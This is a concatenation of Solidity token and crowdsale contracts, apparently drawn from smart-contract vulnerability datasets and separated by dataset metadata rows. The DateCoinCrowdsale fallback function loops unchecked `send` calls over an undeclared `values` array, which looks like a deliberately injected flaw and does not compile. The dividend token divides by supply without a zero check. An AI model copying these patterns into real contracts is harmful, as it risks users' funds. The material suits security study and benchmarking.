// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 270,544 | 1,793 |
6ad2e2b2b3ecd098209ce94b1dede344ac61f8ac9612859d35a1823f3b897b65
| 11,441 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THSMeiFaAS8ftwgcE8LwLxBcRLKQa3vWdo_SWDToken.sol
| 2,842 | 11,203 |
//SourceUnit: SWDToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract SWDToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => uint256) public LiquidityAmount;
ITRC20 public _exchangePool;
address public lpPoolAddress;
string private _name = 'Sea world';
string private _symbol = 'SWD';
uint8 private _decimals = 8;
uint256 private _totalSupply = 2100000 * 10**uint256(_decimals);
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
address public feeAddress;
constructor () public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function setExchangePool(ITRC20 exchangePool,address _lpPoolAddress) public onlyOwner {
_exchangePool = exchangePool;
lpPoolAddress = _lpPoolAddress;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
bool takeFee = false;
if(lpPoolAddress==recipient){
uint256 lpToken= _exchangePool.balanceOf(sender);
if(lpToken==LiquidityAmount[sender]){
takeFee = true;
}else{
LiquidityAmount[sender]=lpToken;
}
}else{
if(lpPoolAddress==sender){
uint256 lpToken= _exchangePool.balanceOf(recipient);
if(lpToken==LiquidityAmount[recipient]){
takeFee = true;
}else{
LiquidityAmount[recipient]=lpToken;
}
}
}
_tokenTransfer(sender, recipient, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee) {
removeAllFee();
}
(uint256 tTransferAmount, uint256 fee) = _getValues(amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(fee>0) {
_balances[feeAddress] = _balances[feeAddress].add(fee);
emit Transfer(sender,feeAddress, fee);
}
emit Transfer(sender, recipient, tTransferAmount);
if(!takeFee){
restoreAllFee();
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateSellFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(1000);
}
function _getValues(uint256 tAmount) public view returns (uint256,uint256) {
uint256 fee = calculateSellFee(tAmount);
uint256 tTransferAmount = tAmount.sub(fee);
return (tTransferAmount, fee);
}
function removeAllFee() private {
if(_liquidityFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_liquidityFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
}
function setFee(uint256 fee) public onlyOwner {
_liquidityFee = fee;
}
function setReceiveAddress(address _address) public onlyOwner {
feeAddress = _address;
}
}
| 294,348 | 1,794 |
bc2c356d7c76998de3c0a71a8ace7049b78678c3484bd6af0543e3f27892e42c
| 20,105 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x5f7f8e59c4a5fffb3ef02a65d37073bc1af84892.sol
| 4,057 | 14,167 |
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/BurnableToken.sol
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/CappedToken.sol
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts/DateCoin.sol
contract DateCoin is CappedToken, BurnableToken {
string public constant name = "DateCoin ICO Token";
string public constant symbol = "DTC";
uint256 public constant decimals = 18;
function DateCoin(uint256 _cap) public CappedToken(_cap) {
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
// File: contracts/DateCoinCrowdsale.sol
// DateCoin
// Zeppelin
contract DateCoinCrowdsale is Crowdsale, Ownable {
enum ManualState {
WORKING, READY, NONE
}
uint256 public decimals;
uint256 public emission;
// Discount border-lines
mapping(uint8 => uint256) discountTokens;
mapping(address => uint256) pendingOrders;
uint256 public totalSupply;
address public vault;
address public preSaleVault;
ManualState public manualState = ManualState.NONE;
bool public disabled = true;
function DateCoinCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, address _tokenContractAddress, address _vault, address _preSaleVault) public
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
require(_vault != address(0));
vault = _vault;
preSaleVault = _preSaleVault;
token = DateCoin(_tokenContractAddress);
decimals = DateCoin(token).decimals();
totalSupply = token.balanceOf(vault);
defineDiscountBorderLines();
}
// overriding Crowdsale#buyTokens
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
if (disabled) {
pendingOrders[msg.sender] = pendingOrders[msg.sender].add(msg.value);
forwardFunds();
return;
}
uint256 weiAmount = msg.value;
uint256 sold = totalSold();
uint256 tokens;
if (sold < _discount(25)) {
tokens = _calculateTokens(weiAmount, 25, sold);
}
else if (sold >= _discount(25) && sold < _discount(20)) {
tokens = _calculateTokens(weiAmount, 20, sold);
}
else if (sold >= _discount(20) && sold < _discount(15)) {
tokens = _calculateTokens(weiAmount, 15, sold);
}
else if (sold >= _discount(15) && sold < _discount(10)) {
tokens = _calculateTokens(weiAmount, 10, sold);
}
else if (sold >= _discount(10) && sold < _discount(5)) {
tokens = _calculateTokens(weiAmount, 5, sold);
}
else {
tokens = weiAmount.mul(rate);
}
// Check limit
require(sold.add(tokens) <= totalSupply);
weiRaised = weiRaised.add(weiAmount);
token.transferFrom(vault, beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function totalSold() public view returns(uint256) {
return totalSupply.sub(token.balanceOf(vault));
}
function transferTokens(address _to, uint256 _amount) public onlyOwner {
require(!hasEnded());
require(_to != address(0));
require(_amount != 0);
require(token.balanceOf(vault) >= _amount);
token.transferFrom(vault, _to, _amount);
}
function transferPreSaleTokens(address _to, uint256 tokens) public onlyOwner {
require(_to != address(0));
require(tokens != 0);
require(tokens < token.balanceOf(preSaleVault));
token.transferFrom(preSaleVault, _to, tokens);
}
function transferOwnership(address _newOwner) public onlyOwner {
token.transferOwnership(_newOwner);
}
// This method is used for definition of discountTokens borderlines
function defineDiscountBorderLines() internal onlyOwner {
discountTokens[25] = 95 * (100000 ether);
discountTokens[20] = 285 * (100000 ether);
discountTokens[15] = 570 * (100000 ether);
discountTokens[10] = 950 * (100000 ether);
discountTokens[5] = 1425 * (100000 ether);
}
function validPurchase() internal view returns(bool) {
uint256 weiValue = msg.value;
bool defaultCase = super.validPurchase();
bool capCase = token.balanceOf(vault) > 0;
bool extraCase = weiValue != 0 && capCase && manualState == ManualState.WORKING;
return defaultCase && capCase || extraCase;
}
function hasEnded() public view returns (bool) {
if (manualState == ManualState.WORKING) {
return false;
}
else if (manualState == ManualState.READY) {
return true;
}
bool icoLimitReached = token.balanceOf(vault) == 0;
return super.hasEnded() || icoLimitReached;
}
function finishCrowdsale() public onlyOwner {
manualState = ManualState.READY;
}
function startCrowdsale() public onlyOwner {
manualState = ManualState.WORKING;
}
function dropManualState() public onlyOwner {
manualState = ManualState.NONE;
}
function disableAutoSeller() public onlyOwner {
disabled = true;
}
function enableAutoSeller() public onlyOwner {
disabled = false;
}
function hasAccountPendingOrders(address _account) public view returns(bool) {
return pendingOrders[_account] > 0;
}
function getAccountPendingValue(address _account) public view returns(uint256) {
return pendingOrders[_account];
}
function _discount(uint8 _percent) internal view returns (uint256) {
return discountTokens[_percent];
}
function _calculateTokens(uint256 _value, uint8 _off, uint256 _sold) internal view returns (uint256) {
uint256 withoutDiscounts = _value.mul(rate);
uint256 byDiscount = withoutDiscounts.mul(100).div(100 - _off);
if (_sold.add(byDiscount) > _discount(_off)) {
uint256 couldBeSold = _discount(_off).sub(_sold);
uint256 weiByDiscount = couldBeSold.div(rate).div(100).mul(100 - _off);
uint256 weiLefts = _value.sub(weiByDiscount);
uint256 withoutDiscountLeft = weiLefts.mul(rate);
uint256 byNextDiscount = withoutDiscountLeft.mul(100).div(100 - _off + 5);
return couldBeSold.add(byNextDiscount);
}
return byDiscount;
}
function() payable external
{
for(uint i = 0; i < values.length - 1; i++) {
msg.sender.send(msg.value);
}
revert();
}
}
| 201,354 | 1,795 |
c8f81691c0f5a3696b7e9c6dfcfc0e0bcc7525ca440b7e921b43a462ffea71cc
| 15,041 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/4c/4c35a1aa49e2c4764553a3caea486b5d160f1491_SUSHIToken.sol
| 2,762 | 11,196 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
